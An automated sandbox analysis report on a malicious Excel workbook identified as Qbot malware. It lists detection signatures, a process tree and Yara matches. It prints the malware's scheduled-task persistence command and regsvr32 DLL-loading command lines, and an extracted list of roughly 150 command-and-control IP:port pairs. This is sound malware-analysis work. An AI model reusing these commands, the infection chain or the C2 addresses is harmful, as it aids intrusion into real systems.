Play interactive tour

Edit tour

Windows Analysis Report plan-1053707320.xlsb

Overview

General Information

Sample Name:	plan-1053707320.xlsb
Analysis ID:	440113
MD5:	4854b4dcfa441032f2f54bf2834e894f
SHA1:	fa24422834d0f6ce6d3e35a8b0f15a906cdf9823
SHA256:	68741c1f5df351dc186805c2c30a79653fd52ce21e2fb2aa34ff0687120343cf
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Qbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Schedule system process

Yara detected Qbot

Allocates memory in foreign processes

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Office process drops PE file

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to evade analysis by execution special instruction which cause usermode exception

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

PE file does not import any functions

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6964 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

regsvr32.exe (PID: 3492 cmdline: regsvr32 ..\gihi1.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

explorer.exe (PID: 5800 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

schtasks.exe (PID: 6572 cmdline: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06 MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

regsvr32.exe (PID: 4864 cmdline: regsvr32 ..\gihi2.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

explorer.exe (PID: 7024 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

regsvr32.exe (PID: 6868 cmdline: regsvr32.exe -s 'C:\Users\user\gihi1.dll' MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 7092 cmdline: -s 'C:\Users\user\gihi1.dll' MD5: 426E7499F6A7346F0410DEAD0805586B)

WerFault.exe (PID: 5044 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7092 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

regsvr32.exe (PID: 5824 cmdline: regsvr32.exe -s 'C:\Users\user\gihi1.dll' MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 6700 cmdline: -s 'C:\Users\user\gihi1.dll' MD5: 426E7499F6A7346F0410DEAD0805586B)

WerFault.exe (PID: 6372 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6700 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Qbot

{"C2 list": ["204.97.97.215:21858", "70.154.48.62:44327", "70.31.11.245:7267", "213.191.161.231:29643", "153.239.78.184:38503", "78.214.129.166:38539", "254.124.232.207:39310", "109.164.21.24:64901", "141.215.250.177:22875", "227.244.119.210:52552", "174.179.129.208:15267", "111.112.232.190:48521", "255.28.73.185:49979", "141.103.36.51:3939", "116.110.10.187:25167", "85.180.25.176:32726", "79.254.143.27:14876", "235.218.248.190:29975", "161.4.87.73:5800", "224.200.240.56:14635", "9.155.72.32:55392", "216.67.224.194:53640", "141.121.237.255:1461", "121.42.239.196:13549", "179.179.31.112:63026", "218.134.37.166:33358", "239.135.100.181:9787", "239.242.36.114:27696", "60.26.149.129:8707", "114.86.119.195:36123", "154.85.103.18:33933", "141.204.72.150:28929", "229.176.154.40:1991", "206.193.4.142:60112", "113.150.134.145:14637", "182.192.0.153:3039", "37.235.119.158:25257", "118.217.148.55:40918", "157.238.131.159:17525", "120.231.33.231:39242", "113.196.247.102:57216", "39.96.161.153:21974", "37.95.209.127:37781", "88.221.119.43:55621", "49.191.149.88:15536", "25.203.154.171:56937", "160.244.29.108:63666", "227.245.195.188:38491", "11.191.229.149:48178", "29.223.190.224:4552", "144.140.245.179:62583", "199.3.125.195:31574", "37.158.174.86:39635", "19.119.17.26:61415", "18.218.204.94:25156", "17.147.2.193:34433", "232.165.224.232:64576", "255.113.254.238:35466", "244.159.158.34:29113", "6.247.120.152:5539", "20.23.44.234:12808", "68.58.107.122:40009", "177.71.146.158:14858", "218.154.172.108:36509", "59.198.167.253:53302", "45.116.255.72:7036", "11.48.233.235:37824", "181.50.13.209:4123", "8.141.223.46:63405", "196.248.106.49:5168", "123.119.149.61:15034", "158.237.184.100:6941", "47.102.246.133:28795", "245.30.65.166:57241", "96.17.6.131:61427", "158.127.33.70:13273", "171.113.240.107:55225", "29.188.217.91:11621", "233.26.116.125:35782", "103.200.182.78:41414", "212.166.144.41:13766", "225.167.47.169:10108", "218.233.238.210:11757", "61.149.157.113:33452", "224.147.98.25:43134", "215.16.240.69:58681", "69.158.146.64:33703", "43.93.98.34:24929", "94.211.166.245:8677", "237.58.8.158:44902", "22.105.125.67:37017", "228.204.65.194:22014", "240.58.16.219:55052", "160.25.48.169:7011", "48.255.58.190:27057", "12.207.95.189:15569", "100.104.109.104:51319", "154.195.229.221:35588", "98.133.117.21:26241", "124.177.25.94:55126", "59.211.38.81:7832", "197.103.23.2:43598", "123.210.126.131:49328", "192.204.246.62:53778", "220.178.117.122:65405", "32.177.158.150:9600", "186.12.160.146:13500", "217.11.103.56:65312", "183.137.66.59:24965", "73.73.123.212:54786", "84.4.148.67:50685", "173.176.181.154:13839", "216.1.166.66:2080", "144.122.242.245:52290", "115.127.247.89:14716", "25.5.112.94:8779", "40.151.136.48:36008", "78.114.25.179:8887", "185.149.69.37:4676", "66.204.28.22:17430", "50.138.243.152:7941", "195.170.56.121:46373", "189.236.221.185:38192", "39.35.83.72:15610", "213.64.255.229:34462", "27.98.20.110:25605", "250.34.90.10:20014", "55.164.192.159:18516", "89.170.84.87:31034", "195.228.141.229:32482", "67.144.76.43:2062", "217.168.11.163:26766", "212.238.116.17:9843", "109.26.22.183:43143", "58.142.103.104:44200", "200.39.220.35:59648", "115.127.244.231:37553", "150.184.143.159:42919", "14.29.250.1:10356", "86.168.140.17:49045", "62.128.177.85:27511", "219.13.32.40:17684", "60.225.8.42:6650", "113.94.94.176:17136", "243.196.184.116:25994", "168.243.164.189:60510", "217.56.43.145:25488"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp	QakBot	QakBot Payload	kevoreilly	0x13223:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp	QakBot	QakBot Payload	kevoreilly	0x13223:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.explorer.exe.660000.0.raw.unpack	QakBot	QakBot Payload	kevoreilly	0x13223:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
3.2.regsvr32.exe.10000000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.10000000.3.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
6.2.regsvr32.exe.10000000.3.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
6.2.regsvr32.exe.10000000.3.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
4.2.explorer.exe.1100000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.explorer.exe.1100000.0.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
4.2.explorer.exe.1100000.0.raw.unpack	QakBot	QakBot Payload	kevoreilly	0x13223:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
3.2.regsvr32.exe.1120000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.1120000.2.unpack	QakBot	QakBot Payload	kevoreilly	0x11a23:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
6.2.regsvr32.exe.f30000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
6.2.regsvr32.exe.f30000.2.raw.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
6.2.regsvr32.exe.f30000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
6.2.regsvr32.exe.f30000.2.unpack	QakBot	QakBot Payload	kevoreilly	0x11a23:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
3.2.regsvr32.exe.1120000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.1120000.2.raw.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
13.2.explorer.exe.660000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
13.2.explorer.exe.660000.0.unpack	QakBot	QakBot Payload	kevoreilly	0x12623:$crypto: 8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 ...
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 ..\gihi1.dll, CommandLine: regsvr32 ..\gihi1.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6964, ProcessCommandLine: regsvr32 ..\gihi1.dll, ProcessId: 3492

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06, CommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\SysWOW64\explorer.exe, ParentImage: C:\Windows\SysWOW64\explorer.exe, ParentProcessId: 5800, ProcessCommandLine: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06, ProcessId: 6572

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 6.2.regsvr32.exe.10000000.3.unpack

Malware Configuration Extractor: Qbot {"C2 list": ["204.97.97.215:21858", "70.154.48.62:44327", "70.31.11.245:7267", "213.191.161.231:29643", "153.239.78.184:38503", "78.214.129.166:38539", "254.124.232.207:39310", "109.164.21.24:64901", "141.215.250.177:22875", "227.244.119.210:52552", "174.179.129.208:15267", "111.112.232.190:48521", "255.28.73.185:49979", "141.103.36.51:3939", "116.110.10.187:25167", "85.180.25.176:32726", "79.254.143.27:14876", "235.218.248.190:29975", "161.4.87.73:5800", "224.200.240.56:14635", "9.155.72.32:55392", "216.67.224.194:53640", "141.121.237.255:1461", "121.42.239.196:13549", "179.179.31.112:63026", "218.134.37.166:33358", "239.135.100.181:9787", "239.242.36.114:27696", "60.26.149.129:8707", "114.86.119.195:36123", "154.85.103.18:33933", "141.204.72.150:28929", "229.176.154.40:1991", "206.193.4.142:60112", "113.150.134.145:14637", "182.192.0.153:3039", "37.235.119.158:25257", "118.217.148.55:40918", "157.238.131.159:17525", "120.231.33.231:39242", "113.196.247.102:57216", "39.96.161.153:21974", "37.95.209.127:37781", "88.221.119.43:55621", "49.191.149.88:15536", "25.203.154.171:56937", "160.244.29.108:63666", "227.245.195.188:38491", "11.191.229.149:48178", "29.223.190.224:4552", "144.140.245.179:62583", "199.3.125.195:31574", "37.158.174.86:39635", "19.119.17.26:61415", "18.218.204.94:25156", "17.147.2.193:34433", "232.165.224.232:64576", "255.113.254.238:35466", "244.159.158.34:29113", "6.247.120.152:5539", "20.23.44.234:12808", "68.58.107.122:40009", "177.71.146.158:14858", "218.154.172.108:36509", "59.198.167.253:53302", "45.116.255.72:7036", "11.48.233.235:37824", "181.50.13.209:4123", "8.141.223.46:63405", "196.248.106.49:5168", "123.119.149.61:15034", "158.237.184.100:6941", "47.102.246.133:28795", "245.30.65.166:57241", "96.17.6.131:61427", "158.127.33.70:13273", "171.113.240.107:55225", "29.188.217.91:11621", "233.26.116.125:35782", "103.200.182.78:41414", "212.166.144.41:13766", "225.167.47.169:10108", "218.233.238.210:11757", "61.149.157.113:33452", "224.147.98.25:43134", "215.16.240.69:58681", "69.158.146.64:33703", "43.93.98.34:24929", "94.211.166.245:8677", "237.58.8.158:44902", "22.105.125.67:37017", "228.204.65.194:22014", "240.58.16.219:55052", "160.25.48.169:7011", "48.255.58.190:27057", "12.207.95.189:15569", "100.104.109.104:51319", "154.195.229.221:35588", "98.133.117.21:26241", "124.177.25.94:55126", "59.211.38.81:7832", "197.103.23.2:43598", "123.210.126.131:49328", "192.204.246.62:53778", "220.178.117.122:65405", "32.177.158.150:9600", "186.12.160.146:13500", "217.11.103.56:65312", "183.137.66.59:24965", "73.73.123.212:54786", "84.4.148.67:50685", "173.176.181.154:13839", "216.1.166.66:2080", "144.122.242.245:52290", "115.127.247.89:14716", "25.5.112.94:8779", "40.151.136.48:36008", "78.114.25.179:8887", "185.149.69.37:4676", "66.204.28.22:17430", "50.138.243.152:7941", "195.170.56.121:46373", "189.236.221.185:38192", "39.35.83.72:15610", "213.64.255.229:34462", "27.98.20.110:25605", "250.34.90.10:20014", "55.164.192.159:18

Multi AV Scanner detection for submitted file

Show sources

Source: plan-1053707320.xlsb	Virustotal: Detection: 25%			Perma Link
Source: plan-1053707320.xlsb	ReversingLabs: Detection: 28%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	Joe Sandbox ML: detected
Source: C:\Users\user\gihi1.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	Joe Sandbox ML: detected
Source: C:\Users\user\gihi2.dll	Joe Sandbox ML: detected

Source: 6.2.regsvr32.exe.10000000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen3
Source: 4.2.explorer.exe.1100000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen3
Source: 3.2.regsvr32.exe.10000000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen3
Source: 13.2.explorer.exe.660000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen3

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 50.116.92.246:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.92.246:443 -> 192.168.2.4:49742 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.716292885.0000000003244000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942057600.0000000003421000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdbs source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.716161142.000000000323E000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbH source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: regsvr32.pdbk source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdbM source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: gCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000F.00000002.727844501.0000000002E72000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000002.953457269.0000000000472000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.716177962.000000000324A000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: regsvr32.pdb source: WerFault.exe, 0000000F.00000003.716155261.0000000003238000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.716161142.000000000323E000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942178479.0000000000840000.00000004.00000001.sdmp
Source:	Binary string: regsvr32.pdb( source: WerFault.exe, 0000000F.00000003.716155261.0000000003238000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942167491.000000000083A000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdbT source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdby source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdbK source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbv source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbN source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000F.00000003.716177962.000000000324A000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942198358.000000000084C000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: setupapi.pdbB source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbk source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
